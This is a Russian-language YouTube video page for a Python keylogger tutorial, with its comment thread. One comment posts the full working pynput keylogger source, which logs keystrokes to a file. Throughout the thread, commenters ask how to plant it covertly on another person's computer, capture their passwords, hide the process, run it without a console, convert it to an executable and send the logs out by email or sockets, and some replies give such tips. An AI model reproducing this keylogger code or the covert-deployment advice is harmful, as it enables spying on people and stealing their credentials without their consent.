Как написать KeyLogger на Python
Вставка
- Опубліковано 4 жов 2020
- =-=-=-=-=-= Полезные Ссылки =-=-=-=-=-=
💻 Группа ВК: fsoky
📒 Личка: ansqqq
⬜️ Мой дискорд: Fsoky#9610
📚 Сервер Discord:
📰 Сайт: fsokycomm.info
📁 Моя тема Sublime Text 3: wall-174312128_212
=-=-=-=-=-= Материалы =-=-=-=-=-=
Отсутствуют
=-=-=-=-=-= Прочее =-=-=-=-=-=
#keylogger #key #python #фсоки #программирование
[!!!] Обязательно в функции on_press, а именно в условии count (больше)= 10
укажите self.keys = []
Таким образом вы обнулите список - Наука та технологія
Спасибо за твои уроки)
Ещё не смотрел, но сразу лайк!
подписался , крутой видос)
о, новый видос
Привет брат спасибо за код, только он не работает когда открывается окно ввода логина и пароля , если запустить программу от имени администратора, что то нужно изменить в данном случае?
а зачем создавать отдельную переменную, если можно просто узнавать длинну списка клавиш и после достижения лимита, очищать список ?
нахуй список если можно просто добавлять сразу клавишу в файл
Фсоки привет, я хотел бы спросить какая у тебя версия пайтона просто у меня 3.8 и pyinstaller не работает ((
3.7.4
Топ!
спасибо !!! Какую тему используешь в sublime?
Своя тема. В группе ВК есть
начало топ!
Прикольно :3
о ты
привет виджел
как ты сделал чтобы у тебя открывалась не коммандная строка, а прога?
спасибо за видео рил помог
Снимешь видео про модуль sockets?
Сделай, пожалуйста, видео про логи в python!
У тебя есть телеграм канал?
О даа, спасибо за этот кейлоггер питоновского цвета, 3-й версии
На termux есть
Привет Фроски подскажи как ты в консоль cmd, поставил картинку очень интересно ))
Это не cmd был, это эмулятор
Не могу скачать библиотеку пишет что pip не является внутренней или внешней командой исполняемой программой или пакетным файлом
В PATH пропиши питон
Не совсем понял. Для чего в конце listener.join(). Я знаю для чего нужен join. Но в данной ситуации, не понял как это работает. Можешь объяснить?
Это метод модуля pynput, как я понял.
@@fsoky нет, join() это метод для работы со списками и он есть без модулей, а тут не понятно зачем он
какая версия SubLime text
[!!!] Обязательно в функции on_press, а именно в условии count (больше)= 10
укажите *self.keys = []*
Таким образом вы обнулите список
Code: pastebin.com/hGP5d0PW
Traceback (most recent call last):
File "C:\Users\User\Desktop\pyloger.py", line 4, in
class Keylogger:
File "C:\Users\User\Desktop\pyloger.py", line 17, in Keylogger
obj = Keylogger()
NameError: name 'Keylogger' is not defined
че за ошибка, хелп
@@user-tg4zr1gd6t вместо "Keylogger" напиши название слоего класса, или поменяй название своего класса на "Keylogger"
Фсоки перешел на темную сторону
несколько замечаний по коду.
1. нет необходимости вводить переменную count, так как она всегда равна len(self.keys) (собственно в коде не было бы той ошибки о которой ты тут говоришь)
2. Зачем ты передаёшь в метод write_file параметр keys, если потом всё ровно берёшь значения из self. да и в принципе можно не выносить это в отдельный метод.
3. в твоей реализации можно отказаться от состояния, от списка ключей и тогда твои методы можно сделать статическими через @staticmethod. Если так сделать то нам не нужно будет создавать объект перед использованием, а в Listener передавать сразу KeyLogger.on_press
В целом для начала хорошо, ты молодец, но можно ещё лучше. Я на быструю руку накидал чуть более правильную версию, в которой файл мы открываем не внутри класса а вне и передаём в класс только поток. pastebin.com/SKuVtPx6
и версия со статикой pastebin.com/76J60UmL
А как русские буквы фиксировать. Другую библиотеку нужно, или что? Спасибо.
у меня библиотека pynput не установилась пишит желтым цветом
WARNING: You are using pip version 21.2.3; however, version 21.2.4 is available.
You should consider upgrading via the 'C:\Users\Kirill\AppData\Local\Programs\Python\Python39\python.exe -m pip install --upgrade pip' command.
Это просто предупреждение о старой версии Пип. Оно никак не влияет на загрузку библиотеки
Ребят куда сохраняется логи?
Какая это версия скажите пж
А как сделать что бы как у тя в 1 файле все показывалось и можно ли сделать чтоб показывались сообщения если ты вел в игре
Pyautogui
Красава
Привет. Я вот прогаю, прогаю, но дошло до того, что уже не знаю что и можно делать. Не мог бы ты посоветовать с идеями для кодинга?
Попробуй что-то новое
Если ещё актуально , то попробуй создать прогу например для взлома ). (Звучит банально) , но это прикольно
Можешь скинуть фото на аве?
Создай менеджер для управления игровым сервером
А как его кому-то отправить
Если я запущу программу, а потом перейду в режим где надо вывеси пароль. Прога будет работать?
попробуй :D
вроде да
что такое кейлогер?
Код будет работать в приложениях таких как: вк, браузер и т.д., а то ты пишешь код и показываешь только то что пишешь в cmd.
А где ссылка на файл ?
Куда делась экономика дс
почему мне пишет pip" не является внутренней или внешней командой, исполняемой программой или пакетным файлом
*Ты не установил Python, посмотри на ютубе*
@@user-mp7ux8ff3c я установил пайтон, и я все уже решил
Листенер))) прикол
File "C:\Users\User\Desktop\py\key.py", line 11
def on_press(self, key):
^
IndentationError: unindent does not match any outer indentation level
перед def надо просто табуляцию
>>> pip install pynput
File "", line 1
pip install pynput
^^^^^^^
SyntaxError: invalid syntax
Что мне с этим делать ?
эмм.... Обязательно было использовать модуль pynput ? тип проще было бы использовать модуль keyboard можно было бы уложиться в 4 строчки кода, тем самым снизить вес файла
Напиши его пж
ля ребят, подскажите почему модуль не может найти, хотя всё устанавливал миллион раз...
pip install pynput
Как посмотреть с другово компьютера, какие кнопки нажимает пользователь? И как удаленно активировать этот кейлоггер?
а как код запустить
???
В чем ты пишешь?
Так можно узнать, что гуглит твой друг)
Не по колоколу, а по зову сердца
**Вспоминаю что сердце не может рекомендовать топовый контент**
значит по колоколу
4:40 - зачем в метод своего же класса передавать поле класса? Можно же просто обратиться к нему внутри метода, но самое забавное что ты так и делал, все равно передавая переменную🤣🤣🤣
😅😅🤝
а как я узнаю какой пароль ввёл человек? оно же на почту не отправится
Ищи туториалы,присоединяй к серверу
А в чем проблема? Изучите модуль smtplib
что это cmd?
Командная строка
Скиньте кто нибудь код, писать долго, а клава фиговая :/
А еще можно с помощью socket реализовать передачу данных
Да
Бро подскажи тему пж в саблайме, конкретное название
в описании "моя тема для sublime text".
Доработай его, сделай отправку на сервер или на почту ато без этого это же бессмысленно
его доделать меньше 3 минут. сам
Тебе надо ты и делай, человек показал тебе как и что. Там 5 минут сделать отправку на почту. Диванный коментаторщик.
@@alesmiller23456 ахахаха, тебя наверное даже в школе не трогают, никому до тебя нет дела, а еще у тебя нету друзей этот инфа сотка
@@user-kb9hc7oj8d токсичный диванный комментатор
Что бы я сейчас не написал, вам не будет обидно, вам не в первой будет такое услышать, а вот мне обидно, когда люди, намного ниже меня по статусу пытаются меня задеть, поэтому не буду тратить свои нервы на вас, челядь
если открыть этот файл,на другом компе то будет рабочим кейлогер?
Если у тово компьютера установоин питон и эта библиотека то да
А если ничего не установлено то нет
@@simple-penguin9762 можно сказать что он на других компах бесполезен
@@simple-penguin9762 а если этот файл перевести в exe ?
@@user-pg8iv4yv7t тогда да
@@simple-penguin9762 случайно не знаешь , как можно получать эту информацию ? Через сервер ловить или что?
Капец, только сделал кейлоггер только сохранил решил запустить его антивирус видит как вредоносную программу высокого уровня опасности
Что у тебя за тема в Subleme
Собственная. Ссылка в описании
Или советую ayu
Как написать понятно, а вот как сделать чт от бы кейлогер фоном сидел и не убирался это уже проблема для новичка
А как этот взлом кому то подсунуть и чтобы ты видел что он нажимал на своём компе?
С какой целью интересуешься?
@@berluse-2464 , у человека куче причин может быть
@@intimatepimple4530 если они законные то ок
No module named 'pynput.keyboard'; 'pynput' is not a package что за прикол
А можно сделать так, чтобы можно было смотреть, на каких сайтах были написаны эти символы?
скамер мелкий))
.
Точно не помню название библиотеки, но каждые допустим 5 симболов, с помощью библиотеки ты ьудешь получать адрес сайта
как IDE называется?
Sublime Text 3
cmd ConEmu
А какой программе код пишешь ?
sublime
@@fsoky спасибо
Как вы изучали язык?
ходил на курсы 2 месяца, а дальше сам, изучал модули, писал какой-то код.. всякие программки просто для себя.
@@fsoky Спасибо
self.keys.append(keys)
^
TabError: inconsistent use of tabs and spaces in indentation
помогите немогу с етим ничего поделать
Ошибку переведи, поймёшь
@@fsoky Спасибо
Привет, а смысл какой в этой проге ?
Логгировать нажатие клавиш
@@fsoky Насколько я мог заметить программа работает, только когда само её окно в фокусе ?
@@osada4367 его можно скрыть. Установи расширение pyw вроде
как сделать так чтобы работало после закрытия cmd просто сделать его в .bat?
Да.
Интересно очень и просто.
Молодец.
Почему на count==10 - список не обнуляется и count не обнуля4тся, хотя можно только список чистить и писать в условии count%10==0
На пастбине нормальный код. Здесь забыл дописать строчку
@@fsoky Как можно запустить скрипт в фоновом режиме без консоли и ТД?
@@valera_kardan попробуй поставить расширение .pyw
Сделай видео про ооп, плиз
Как это скинуть другу????
Сконвертировать в exe
Как установить библиотеку?
Какую именно
Гуглишь pynput pypi, копируешь команду
2:41
скинь текст пж лень переписовать
слушай скинь свой эмулятор командной строки
ConEmu
Довольно безсмысленный кейлогер, он просто записывает клавиши. Было бы лучше, если бы файл с записью можно было дать серверу. Вот что я имею ввиду:
Есть сервер, если к нему подключиться клиент, то все нажатые в нем (клиенте) клавиши будут записываться в отдельный файл, который будет сохранен на компьютер сервера
У меня ошибка пишется в первой строчке под pynput
Traceback (most recent call last):
File "C:\Users\User\Desktop\pyloger.py", line 4, in
class Keylogger:
File "C:\Users\User\Desktop\pyloger.py", line 17, in Keylogger
obj = Keylogger()
NameError: name 'Keylogger' is not defined
че за ошибка, вроде все на месте
вместо "Keylogger" напиши название слоего класса, или поменяй название своего класса на "Keylogger
@@damager7760 оба пробовал, ничего не работает
@@damager7760 с линукса все едет нормально, с виндой проблемы
Сделай гайд как написать бота казино на python
Типо ты делал гайд по экономическому боту а как людям зарабатывать монеты чтобы роли покупать
а сам никак не придумаешь
@@pr3d1ckt это ещё думать надо : D
@@Klaudyyyyyy создай функцию , чтобы она при каждом пополнение , монеты добавлялись в переменную , а эта переменная отвечает за баланс , и пока она не равна нулю можешь покупать различные штуки или типо того
Кто знает музыку на фоне ;)
**пАмагите**
Ну все..... компу учителя пипец)
не советую, антивирусы легко видят вирусы на пайтоне)
@Lutfer причем тут комп?
@Lutfer ХАХААХХААХАХАХАХАХАХАХАХААХАХАХАХАХХААХХА
@Lutfer ахуенная логика у тебя
я написал этот код в текстовом документе и удалил я написал прямо как в видео а потом закинул на вирус тотал и он сказал что это кейлогер но вирусов не обнаружил я же надеюсь челу который этот код предоставил не кидаются мои буквы и цифры?
а это нормально что я ничего не понял
Если основы не знать и не быть как минимум любителем - да, можно не понять.
Киньте код))) Мне лень списывать!
pastebin.com/u/Fsoky
@@fsoky не работает!
@@rightscoot3873 нет работает
Поставьте кто-то лайк, хочу быть сотым;)
оставь готовый код пж
import pynput
from pynput.keyboard import Key, Listener
class Keylogger:
def __init__(self):
self.count = 0
self.keys = []
def on_press(self, key):
print(f"{key} pressed")
self.keys.append(key)
self.count += 1
if self.count >= 10:
self.write_file(self.keys)
def on_release(self, key):
if key == Key.esc:
return False
def write_file(self, keys):
with open("log.txt", "a") as file:
for key in self.keys:
k = str(key).replace(" ' ", "")
if k.find("space") > 0:
file.write("
")
elif k.find("Key") == -1:
file.write(k)
if __name__ == "__main__":
obj = Keylogger()
with Listener(on_press = obj.on_press, on_release = obj.on_release) as listener:
listener.join()
@@fearless6282 спс
مرحبا اخي
hell0
Детектится антивирусом?
Чё за питон у тебя?
У меня совсем другой
Дайте код на троян
*_ХЕЛП_*
Заткнись
Keys - киз, а ней кейс
ой, спасибки, буду знать)
Вообще по идеи "кийс"
@@fsoky А как возможно скрыть процессы работы кейлогера? Если ли руткит для питона?
Какой нахер киз? Колхоз.
native speakers from Africa can speak so but people from Russia or Ukraine want show off
а в чем смысл програмы
3:36 "qwerty" (кто понял, тот понял xD)
))))
понял) принял
Рыбка Эллиота... наша Кверти)))
Найс тупо списал откуда-то код и сделал видос)))
После твоих импортов становится понятно , что питон не знаешь толком
Сначала просто импорт, потом конкретный импорт, чел определись что тебе надо импортировать, или поучи чуток пайтон прежде чем записывать ролики